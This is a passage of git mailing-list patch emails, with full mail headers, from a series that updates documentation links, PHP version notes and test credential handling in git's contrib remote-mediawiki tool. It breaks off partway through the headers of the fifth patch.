From patchwork Wed Sep 16 10:29:04 2020 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= X-Patchwork-Id: 11779719 Return-Path: Received: from mail.kernel.org (pdx-korg-mail-1.web.codeaurora.org [172.30.200.123]) by pdx-korg-patchwork-2.web.codeaurora.org (Postfix) with ESMTP id 50DD7618 for ; Wed, 16 Sep 2020 12:58:06 +0000 (UTC) Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by mail.kernel.org (Postfix) with ESMTP id 2BCBB22251 for ; Wed, 16 Sep 2020 12:58:06 +0000 (UTC) Authentication-Results: mail.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="qhNp7DuB" Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1727632AbgIPMvb (ORCPT ); Wed, 16 Sep 2020 08:51:31 -0400 Received: from lindbergh.monkeyblade.net ([23.128.96.19]:51316 "EHLO lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1726717AbgIPKae (ORCPT ); Wed, 16 Sep 2020 06:30:34 -0400 Received: from mail-wr1-x443.google.com (mail-wr1-x443.google.com [IPv6:2a00:1450:4864:20::443]) by lindbergh.monkeyblade.net (Postfix) with ESMTPS id 82A3BC06178B for ; Wed, 16 Sep 2020 03:30:01 -0700 (PDT) Received: by mail-wr1-x443.google.com with SMTP id g4so6343903wrs.5 for ; Wed, 16 Sep 2020 03:30:01 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=yshak7faj+mgi2Ksx8OWsWf5zigXj2q6IE0U4MdfFbs=; b=qhNp7DuBDyz+pN+0ZsLjAW5l3iHKCgw2qcUV2NAvXfhMFCKgVpc3a9Y2DCxWs2Kscy pETsvMjn1yTM5MUCeJ7bZZj2VUUx9Tlg2HOGaHjNG7IsdAynpP+1kKvSTDFzQ9Cox0vx A9caFG8C+V2xdzIoB5m047bK78cw1VEnSgBgVKbCvYyCqc5yekEo1+ScQfYevLV7aBYO Cop0UQPuLpfXpdutlW6H2iq0gJgDfqCOYuXRjZqv9VCXF5ZDXmiNqXYYQqYhJS2n55Ir j3RWVtY5zAXVsNCSig++KvDqa/a3rbUEqSxNgI9KAOJxctYOPGHIBeyGCIrFaeSYIsf2 GhBg== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=yshak7faj+mgi2Ksx8OWsWf5zigXj2q6IE0U4MdfFbs=; b=VHxUGtp/o7vQTP+2N0XuMDDS5m8eoYVLZskQD1vgVNV/WMiGKs7RCEllAyPp+KfYlt S8qJcDSE7uwW68ezB+tSVxVQT/MCIns7QSvid0XPWEHXg72E+f/rZYI7G8PHXp6BR2jx xef1VwIVaDtZ9xPue95nbxYrJHcA1HcVsVfZpuTojmJXHe5pdDs+fSvpKnwfsMl4qKn2 PFgCWvPr7et9DDR6zfLGIKyI9XTkertPgSB9j7xxupsrg0eeqT+NRdcezTK41iQXKnYT 2jFY3gwNgSsPuQepCrM77NRmdulJPKNKIRxLs/SeqwsDzZSsMNhLFbY09reb3PlJcjE+ wN7g== X-Gm-Message-State: AOAM531U1LN9vXSU6OxlA6+6rakJADh4kbN7Kd6aiq6D7bJms99PR9NK RKiSZRFdgpR2Rh9BNEauE/yXdpi8PcyzjjLT X-Google-Smtp-Source: ABdhPJxCT8a0Wntr1hh073C7O7QbttyVzBi7woYkM7tiS5xselcN/Q41o73k1sUw4A1+OXUpgyatMQ== X-Received: by 2002:adf:e6c7:: with SMTP id y7mr24531806wrm.147.1600252199957; Wed, 16 Sep 2020 03:29:59 -0700 (PDT) Received: from vm.nix.is (vm.nix.is. [2a01:4f8:120:2468::2]) by smtp.gmail.com with ESMTPSA id n11sm32172916wrx.91.2020.09.16.03.29.59 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Wed, 16 Sep 2020 03:29:59 -0700 (PDT) From: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= To: git@vger.kernel.org Cc: Junio C Hamano , Matthieu Moy , Johannes Schindelin , =?utf-8?q?Antoine_Beaupr?= =?utf-8?q?=C3=A9?= , Simon Legner , =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBC?= =?utf-8?b?amFybWFzb24=?= Subject: [PATCH 01/15] remote-mediawiki doc: correct link to GitHub project Date: Wed, 16 Sep 2020 12:29:04 +0200 Message-Id: <20200916102918.29805-2-avarab@gmail.com> X-Mailer: git-send-email 2.28.0.297.g1956fa8f8d In-Reply-To: <20200916102918.29805-1-avarab@gmail.com> References: <20200916102918.29805-1-avarab@gmail.com> MIME-Version: 1.0 Sender: git-owner@vger.kernel.org Precedence: bulk List-ID: X-Mailing-List: git@vger.kernel.org Change the link to the canonical one, the old link redirects to the new one. Signed-off-by: Ævar Arnfjörð Bjarmason --- contrib/mw-to-git/git-mw.perl | 2 +- contrib/mw-to-git/git-remote-mediawiki.perl | 2 +- contrib/mw-to-git/git-remote-mediawiki.txt | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/contrib/mw-to-git/git-mw.perl b/contrib/mw-to-git/git-mw.perl index 28df3ee321..eb52a53d32 100755 --- a/contrib/mw-to-git/git-mw.perl +++ b/contrib/mw-to-git/git-mw.perl @@ -6,7 +6,7 @@ # License: GPL v2 or later # Set of tools for git repo with a mediawiki remote. -# Documentation & bugtracker: https://github.com/moy/Git-Mediawiki/ +# Documentation & bugtracker: https://github.com/Git-Mediawiki/Git-Mediawiki use strict; use warnings; diff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl index d8ff2e69c4..08190e23e1 100755 --- a/contrib/mw-to-git/git-remote-mediawiki.perl +++ b/contrib/mw-to-git/git-remote-mediawiki.perl @@ -9,7 +9,7 @@ # License: GPL v2 or later # Gateway between Git and MediaWiki. -# Documentation & bugtracker: https://github.com/moy/Git-Mediawiki/ +# Documentation & bugtracker: https://github.com/Git-Mediawiki/Git-Mediawiki use strict; use MediaWiki::API; diff --git a/contrib/mw-to-git/git-remote-mediawiki.txt b/contrib/mw-to-git/git-remote-mediawiki.txt index 23b7ef9f62..5da825f61e 100644 --- a/contrib/mw-to-git/git-remote-mediawiki.txt +++ b/contrib/mw-to-git/git-remote-mediawiki.txt @@ -4,4 +4,4 @@ objects from mediawiki just as one would do with a classic git repository thanks to remote-helpers. For more information, visit the wiki at -https://github.com/moy/Git-Mediawiki/wiki +https://github.com/Git-Mediawiki/Git-Mediawiki From patchwork Wed Sep 16 10:29:05 2020 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= X-Patchwork-Id: 11779717 Return-Path: Received: from mail.kernel.org (pdx-korg-mail-1.web.codeaurora.org [172.30.200.123]) by pdx-korg-patchwork-2.web.codeaurora.org (Postfix) with ESMTP id 330AF618 for ; Wed, 16 Sep 2020 12:54:13 +0000 (UTC) Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by mail.kernel.org (Postfix) with ESMTP id 1079F22250 for ; Wed, 16 Sep 2020 12:54:12 +0000 (UTC) Authentication-Results: mail.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="DO9hTaro" Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1727495AbgIPMpa (ORCPT ); Wed, 16 Sep 2020 08:45:30 -0400 Received: from lindbergh.monkeyblade.net ([23.128.96.19]:51318 "EHLO lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1726666AbgIPKae (ORCPT ); Wed, 16 Sep 2020 06:30:34 -0400 Received: from mail-wm1-x343.google.com (mail-wm1-x343.google.com [IPv6:2a00:1450:4864:20::343]) by lindbergh.monkeyblade.net (Postfix) with ESMTPS id 09DEEC06178C for ; Wed, 16 Sep 2020 03:30:03 -0700 (PDT) Received: by mail-wm1-x343.google.com with SMTP id y15so2442780wmi.0 for ; Wed, 16 Sep 2020 03:30:02 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=SvZ1fVsxMLyCcJ8zgy4iF9eMczQzBZxvlPawMLZwE/k=; b=DO9hTarob7PJddFfbUoypx0A+IK31EudCoXPREjLHKvep+3uMAQfbexjE99f6QJe92 sjPKY5yRLPsm4wuzgHGPfvSJ3gWIC+QwQOJp4xgQftdFheSa1ufDgm4j/STuYzQ8St68 CozEWTy3YNXN76oO1Box3FekWS5sjq5N3MMSiR1gxl57gQFaHBkghJ2UuqamdPpgbWaX DuLiotdjWHtkK4EYP0jKByveAgV3ctR81E2w/AUTUHABQJO41V3Qz8p+d7ryuSUwp32e mF9iTEBkeuszj06Bvz//c/QTuEEOONOM+fmWLhEio6hvFauZPQ2FjBXgj4xfcpJcLDXs l8EA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=SvZ1fVsxMLyCcJ8zgy4iF9eMczQzBZxvlPawMLZwE/k=; b=rUDJdw26fOYaA4eeRFYDlUlcT7ZRuCp7UVV8Ked9sRmyxCtXWveP7ZEiAN1I2tWfAX Ndo0scmqke3qX29Amp5GuTRs9+/cwNhfnGmXOF+rhNWn7gzUDWmjo8/H3jX7rLY9/O/6 KqCjL20yew64txtkPweIsp4ZE7lplJrwF2IvirRQd+hZBqCSFsuoDqIYKDX1aB2p3/E6 IQholOoEpXFltJqm4qlxxkvYEORg4pEvWPACInEiUHLCBwQ/1JGJyrjHO3+k3KGxS8Pd MdqD00etwTR2Q0eo4EGvotus7hD1DwKO/ArwcSO7/RX2yFK8tOZWVN25TMIx4btYbQt5 8CWg== X-Gm-Message-State: AOAM531Vz3jdnFx9TSe8bVpOF56DNFtZ3Bl8C0ynHEiyiHbO7pwP3tji JUG5dlHfDrz6Xlx2M3qwTZjTRNcuEpCb3l7T X-Google-Smtp-Source: ABdhPJypp+Ve5A9hAPu9leeuLN6iu+HtwDWA0NCyew/eqvLYOhVUVMI30yDK0Dl3j2log2aVzIkHCw== X-Received: by 2002:a1c:96cf:: with SMTP id y198mr3381365wmd.104.1600252201306; Wed, 16 Sep 2020 03:30:01 -0700 (PDT) Received: from vm.nix.is (vm.nix.is. [2a01:4f8:120:2468::2]) by smtp.gmail.com with ESMTPSA id n11sm32172916wrx.91.2020.09.16.03.30.00 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Wed, 16 Sep 2020 03:30:00 -0700 (PDT) From: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= To: git@vger.kernel.org Cc: Junio C Hamano , Matthieu Moy , Johannes Schindelin , =?utf-8?q?Antoine_Beaupr?= =?utf-8?q?=C3=A9?= , Simon Legner , =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBC?= =?utf-8?b?amFybWFzb24=?= Subject: [PATCH 02/15] remote-mediawiki doc: link to MediaWiki's current version Date: Wed, 16 Sep 2020 12:29:05 +0200 Message-Id: <20200916102918.29805-3-avarab@gmail.com> X-Mailer: git-send-email 2.28.0.297.g1956fa8f8d In-Reply-To: <20200916102918.29805-1-avarab@gmail.com> References: <20200916102918.29805-1-avarab@gmail.com> MIME-Version: 1.0 Sender: git-owner@vger.kernel.org Precedence: bulk List-ID: X-Mailing-List: git@vger.kernel.org Amend a comment in the test.config file to point to the latest upstream version, which makes it easier for the user to tweak this. Signed-off-by: Ævar Arnfjörð Bjarmason --- contrib/mw-to-git/t/test.config | 3 +++ 1 file changed, 3 insertions(+) diff --git a/contrib/mw-to-git/t/test.config b/contrib/mw-to-git/t/test.config index 5ba0684162..b6fb0b3993 100644 --- a/contrib/mw-to-git/t/test.config +++ b/contrib/mw-to-git/t/test.config @@ -31,6 +31,9 @@ WEB_WWW=$WEB/www # The variables below are used by the script to install a wiki. # You should not modify these unless you are modifying the script itself. # tested versions: 1.19.X -> 1.21.1 +# +# See https://www.mediawiki.org/wiki/Download for what the latest +# version is. MW_VERSION_MAJOR=1.21 MW_VERSION_MINOR=1 FILES_FOLDER=install-wiki From patchwork Wed Sep 16 10:29:06 2020 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= X-Patchwork-Id: 11779705 Return-Path: Received: from mail.kernel.org (pdx-korg-mail-1.web.codeaurora.org [172.30.200.123]) by pdx-korg-patchwork-2.web.codeaurora.org (Postfix) with ESMTP id 543AE618 for ; Wed, 16 Sep 2020 12:39:09 +0000 (UTC) Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by mail.kernel.org (Postfix) with ESMTP id 3840A22225 for ; Wed, 16 Sep 2020 12:39:09 +0000 (UTC) Authentication-Results: mail.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="uUJy6Lya" Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1727522AbgIPMif (ORCPT ); Wed, 16 Sep 2020 08:38:35 -0400 Received: from lindbergh.monkeyblade.net ([23.128.96.19]:51320 "EHLO lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1726767AbgIPKae (ORCPT ); Wed, 16 Sep 2020 06:30:34 -0400 Received: from mail-wr1-x443.google.com (mail-wr1-x443.google.com [IPv6:2a00:1450:4864:20::443]) by lindbergh.monkeyblade.net (Postfix) with ESMTPS id EBC45C061797 for ; Wed, 16 Sep 2020 03:30:03 -0700 (PDT) Received: by mail-wr1-x443.google.com with SMTP id s12so6290768wrw.11 for ; Wed, 16 Sep 2020 03:30:03 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=sFBy6wythJxlomma7uaGba6HKNaFfTf5uK/VLYcTzlM=; b=uUJy6LyaDkyAdxTfeFAszWjV7T2ojTcqYyM3v57Ktcj0k2Em0UZrn9Q4SwYIlouGrE AlCzM3v1llm/TwLS3Dc2i4WRGbyVoXGRB6N5ylUq4MIXOKpnCR/uk/1L825aTfxUglUO zfPFzaX1pKh4VWjZufmi6N0kL9naQ09uMbf3Ky8GcI/6RQzKcOMCLrwcVzOABKyG7ZMF LZZRJseqKUYLv3GVSJ4gTdVk4Vbky4FNuT8tNraTjf2DNZkYpdgDn+psORHqvkmYcWAP 1F5z0JM2iBEklEuzYaw+QQkTet+X4Iq2LcMjXDeIhbBMQedVZhBl+cNap2AKni7YGoXf Wk1A== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=sFBy6wythJxlomma7uaGba6HKNaFfTf5uK/VLYcTzlM=; b=Pakinf9gfD/kiIs+kORST2XMjJGNUFTLT34sV6hBNhSxLvQFWKOnJicwsb4NQKqmww k+XjeYEOAbY1ApooQoj5BOqW+TVduvzfkK0KhRI3pdVh5xfpnQbmy0IfIf2be7nKVawY hzrMj4eYNOuOqJ47+pWwdvcr4DhA2mNvdG4EXF6yBTtQ6Tfg1XSL8l/PdOKfZX2nbqIb BK+wYDoVhqCOybKejQe7WDLbm5Wo6lujIrn9NG4aoxsoNl+xLHVgN0NsXK1CVzT6ANQ5 0GEDiKxvqTGfnI4B6hvzBQKsk5KttJBNbwWJDciNv/bVDAQYgqsUZuaIK7mJxjH0aOk/ Y6Cg== X-Gm-Message-State: AOAM533LbIGAgyyJ08IDm4k/S3cAJZzrXlVMk+0gFo1oiEBd0Y295zqW xOPW2y9NrBFEFb93GZjM1Bq2HG4ebTvFPIBf X-Google-Smtp-Source: ABdhPJxkM06TXEBrBMfDhOylCFkLf25IuWQ25xtpfTveZlm+vuce8r1dBKxWeyd/qpXG3GmvN3Lx/g== X-Received: by 2002:a5d:5106:: with SMTP id s6mr27677547wrt.166.1600252202340; Wed, 16 Sep 2020 03:30:02 -0700 (PDT) Received: from vm.nix.is (vm.nix.is. [2a01:4f8:120:2468::2]) by smtp.gmail.com with ESMTPSA id n11sm32172916wrx.91.2020.09.16.03.30.01 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Wed, 16 Sep 2020 03:30:01 -0700 (PDT) From: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= To: git@vger.kernel.org Cc: Junio C Hamano , Matthieu Moy , Johannes Schindelin , =?utf-8?q?Antoine_Beaupr?= =?utf-8?q?=C3=A9?= , Simon Legner , =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBC?= =?utf-8?b?amFybWFzb24=?= Subject: [PATCH 03/15] remote-mediawiki doc: bump recommended PHP version to 7.3 Date: Wed, 16 Sep 2020 12:29:06 +0200 Message-Id: <20200916102918.29805-4-avarab@gmail.com> X-Mailer: git-send-email 2.28.0.297.g1956fa8f8d In-Reply-To: <20200916102918.29805-1-avarab@gmail.com> References: <20200916102918.29805-1-avarab@gmail.com> MIME-Version: 1.0 Sender: git-owner@vger.kernel.org Precedence: bulk List-ID: X-Mailing-List: git@vger.kernel.org Change the version in the documentation to what's currently in Debian stable. Ideally we wouldn't have to keep changing this version, but if it's going to be hardcoded let's use something that works on a modern installation. Signed-off-by: Ævar Arnfjörð Bjarmason --- contrib/mw-to-git/t/README | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/contrib/mw-to-git/t/README b/contrib/mw-to-git/t/README index 2ee34be7e4..d9c85e2c63 100644 --- a/contrib/mw-to-git/t/README +++ b/contrib/mw-to-git/t/README @@ -14,11 +14,11 @@ install the following packages (Debian/Ubuntu names, may need to be adapted for another distribution): * lighttpd -* php5 -* php5-cgi -* php5-cli -* php5-curl -* php5-sqlite +* php7.3 +* php7.3-cgi +* php7.3-cli +* php7.3-curl +* php7.3-sqlite Principles and Technical Choices -------------------------------- From patchwork Wed Sep 16 10:29:07 2020 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= X-Patchwork-Id: 11780511 Return-Path: Received: from mail.kernel.org (pdx-korg-mail-1.web.codeaurora.org [172.30.200.123]) by pdx-korg-patchwork-2.web.codeaurora.org (Postfix) with ESMTP id 970FF59D for ; Wed, 16 Sep 2020 19:01:53 +0000 (UTC) Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by mail.kernel.org (Postfix) with ESMTP id 6FF9F20715 for ; Wed, 16 Sep 2020 19:01:53 +0000 (UTC) Authentication-Results: mail.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="RNER8BKo" Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1728275AbgIPTBw (ORCPT ); Wed, 16 Sep 2020 15:01:52 -0400 Received: from lindbergh.monkeyblade.net ([23.128.96.19]:35782 "EHLO lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1726977AbgIPRsx (ORCPT ); Wed, 16 Sep 2020 13:48:53 -0400 Received: from mail-wr1-x444.google.com (mail-wr1-x444.google.com [IPv6:2a00:1450:4864:20::444]) by lindbergh.monkeyblade.net (Postfix) with ESMTPS id F3B73C061351 for ; Wed, 16 Sep 2020 03:30:04 -0700 (PDT) Received: by mail-wr1-x444.google.com with SMTP id m6so6370920wrn.0 for ; Wed, 16 Sep 2020 03:30:04 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=1q8skUEkEgmD3KhZu5V9H1XxMJJc6nqiyeSZyK5mIgk=; b=RNER8BKoyLnOmtpsOFPDvfD5rD+kIaoMg0lTUSFgnA+b4+vkl8iby/5ZChncQO1hny E5Y6/uAeG8pZWcaodR/bM1dBDolEkoqMArIsqTu7JnxMmpNBwATEoiTfLqf4/UPcChFD Y0+DetG8O+t9wHRNasuG9roUIxj31gmeLROAOPssIFaCvQ6xwInLFwTMdAZqLJO9XMZD IU+SOXX5k7m5WiboUysNxnnI+AzVkBzewTsTsfM47f6UhElhJ0zoKcea6debaEIBzS+g v/0LDajDn1d/0iZqlgjrjANpgBLXBRO5BL3QsvmLfh0BH2aler+FJPzA5CCwLHwGKUz6 7BEA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=1q8skUEkEgmD3KhZu5V9H1XxMJJc6nqiyeSZyK5mIgk=; b=q2xZaRFOW2VhRo4g799DXTED2GT8rIVfCpYg/2rj74b6x0v2f+7C5RBEtya6xbj7UU 6DPNPlw5lRlJiHkfyTWLd+cxWd9+RYHXjvbSfd8zZsgLApNAvhkdgyUW+K9+g9ApaPeh kcmFgJldtXQhwSsQIy+d5LYT5X88YMXis2wiwcjpgaGXN80F5lnT58CUUA9mX39H/Jes emezTLPCzE29OxTYZD1LCWRXcJKFfOQzb8YNk7zq+10AdqbyCa+MCUivneu0VVzQw/Op qT8CG8sB3PBTm3dp9vYU0tZRwTjUcwlRcGPzOalGmwe4U57IWI38m9p0B+iytwIvQnXM nfHg== X-Gm-Message-State: AOAM532mdJ+T0PN3fiT4Md0rS8YXHyDPxz4+qYxv+Q1gDVRijW3B1GDH VYqYcVWOzEAe3wASHSfxgO1iikv3zqiGuGcL X-Google-Smtp-Source: ABdhPJwhFdem+x2LWWrgXveN4g6M54J4UbXUQuTm8xDD4spEdcvzrGfjVhk4/EgPY+r5+GD5HWvC6w== X-Received: by 2002:a5d:55c8:: with SMTP id i8mr26384799wrw.331.1600252203400; Wed, 16 Sep 2020 03:30:03 -0700 (PDT) Received: from vm.nix.is (vm.nix.is. [2a01:4f8:120:2468::2]) by smtp.gmail.com with ESMTPSA id n11sm32172916wrx.91.2020.09.16.03.30.02 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Wed, 16 Sep 2020 03:30:02 -0700 (PDT) From: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= To: git@vger.kernel.org Cc: Junio C Hamano , Matthieu Moy , Johannes Schindelin , =?utf-8?q?Antoine_Beaupr?= =?utf-8?q?=C3=A9?= , Simon Legner , =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBC?= =?utf-8?b?amFybWFzb24=?= Subject: [PATCH 04/15] remote-mediawiki tests: use the login/password variables Date: Wed, 16 Sep 2020 12:29:07 +0200 Message-Id: <20200916102918.29805-5-avarab@gmail.com> X-Mailer: git-send-email 2.28.0.297.g1956fa8f8d In-Reply-To: <20200916102918.29805-1-avarab@gmail.com> References: <20200916102918.29805-1-avarab@gmail.com> MIME-Version: 1.0 Sender: git-owner@vger.kernel.org Precedence: bulk List-ID: X-Mailing-List: git@vger.kernel.org Change a hardcoded user/password for the corresponding variable defined in contrib/mw-to-git/t/test.config. Signed-off-by: Ævar Arnfjörð Bjarmason --- contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh index 3ff3a09567..43580af3cf 100755 --- a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh +++ b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh @@ -27,8 +27,8 @@ test_git_reimport () { # Don't bother with permissions, be administrator by default test_expect_success 'setup config' ' - git config --global remote.origin.mwLogin WikiAdmin && - git config --global remote.origin.mwPassword AdminPass && + git config --global remote.origin.mwLogin "$WIKI_ADMIN" && + git config --global remote.origin.mwPassword "$WIKI_PASSW" && test_might_fail git config --global --unset remote.origin.mediaImport ' From patchwork Wed Sep 16 10:29:08 2020 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= X-Patchwork-Id: 11780995 Return-Path: Received: from mail.kernel.org (pdx-korg-mail-1.web.codeaurora.org [172.30.200.123]) by pdx-korg-patchwork-2.web.codeaurora.org (Postfix) with ESMTP id 0E353159A for ; Wed, 16 Sep 2020 21:01:17 +0000 (UTC) Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by mail.kernel.org (Postfix) with ESMTP id D757D21D7D for ; Wed, 16 Sep 2020 21:01:16 +0000 (UTC) Authentication-Results: mail.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="kA1X+RlI" Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1726896AbgIPVBN (ORCPT ); Wed, 16 Sep 2020 17:01:13 -0400 Received: from lindbergh.monkeyblade.net ([23.128.96.19]:51222 "EHLO lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1726390AbgIPQaY (ORCPT ); Wed, 16 Sep 2020 12:30:24 -0400 Received: from mail-wr1-x443.google.com (mail-wr1-x443.google.com [IPv6:2a00:1450:4864:20::443]) by lindbergh.monkeyblade.net (Postfix) with ESMTPS id DC7DCC061352 for ; Wed, 16 Sep 2020 03:30:05 -0700 (PDT) Received: by mail-wr1-x443.google.com with SMTP id x14so6286696wrl.12 for ; Wed, 16 Sep 2020 03:30:05 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=p53YYIlZ9Ykouq3lNDEqa/eH2lNKrF5GXZRj4455gEw=; b=kA1X+RlIcRzc1ms5LmOIgQyg57NsMLh21h3HsjOZSirVvjqQgE34t+1iGlbmlWnng3 irAxYWMoUX2Hu+jBryPf/qr2i9FzUQHPad4yHRtLDv+q7uGE0hlTKkHDx4hTrm1aPSDP unI63ak1JysHo8CfHrrCN98ZTXInnmTM6xvv9OO/qF4jUWx6lEMwtXXzNzydE6RhvOkS SLDqTUE6NKz6qJBLDm8yMwPoVjF3YwZZgggmgPYTqev4hTDPEtvtwpiUyF9/3CN3q0ET xHtarhHb2w2PrcpCOlgQyiSiycEq+rTm8EB3axnH48etnTOQO0oyIFOYLEzBrsLr0BK+ HCVA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=p53YYIlZ9Ykouq3lNDEqa/eH2lNKrF5GXZRj4455gEw=; b=ez26A39gk4CcaJD2uOcY1hixHxHscGBz93VM7hdFPP37dep+Zfp1xEfhNY1MyrLqgE ASUSSSoLjKKg4VVg22m15NcnTObO5dS/No4nEHGmdJKpBGNiZNHQ6cxT9PP99B09JQIU ukkQZOSc9Ooh6pk6OCiq01IPrVc/+hOjrnIeJHNcchiiF1uMGXmtlcpEzB6ZqQeUI/1g KUsf2PMHwWpDd2s6xym3aAm2/2k8n5LpyMwsEFb9yY6XfjvSIiGafPMdHERUIce9AeC9 fQao91MS0/1uu6xLkJZETkGMq6WHNh+C1+2gQltmx+/4XeAt0ul2m9LdYidg/szH81bu 3KJw== X-Gm-Message-State: AOAM533O0Pxb8Tc9A4bS1Wh87uyNP5UYSrcRX7U3cdS9kjylQQ57+3a+ 8QuubpZTNX7qzc+5l0FAH74Oq4MnE1Ny0PhN X-Google-Smtp-Source: ABdhPJzPO/cyWJlX5egt3OrtMOR54gcGrMHiU6i+icnf4rX2aAoHLNFn5nmfGG6WCUUqlOVIhkmGLA== X-Received: by 2002:a5d:6404:: with SMTP id z4mr27268774wru.423.1600252204309; Wed, 16 Sep 2020 03:30:04 -0700 (PDT) Received: from vm.nix.is (vm.nix.is. [2a01:4f8:120:2468::2]) by smtp.gmail.com with ESMTPSA id n11sm32172916wrx.91.2020.09.16.03.30.03 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Wed, 16 Sep 2020 03:30:03 -0700 (PDT) From: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= To: git@vger.kernel.org Cc: Junio C Hamano , Matthieu Moy , Johannes Schindelin , =?utf-8?q?Antoine_Beaupr?= =?utf-8?q?=C3=A9?= , Simon Legner , =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBC?= =?utf-8?b?amFybWFzb24=?= Subject: [PATCH 05/15] remote-mediawiki tests: use a 10 character password Date: Wed, 16 Sep 2020 12:29:08 +0200 Message-Id: 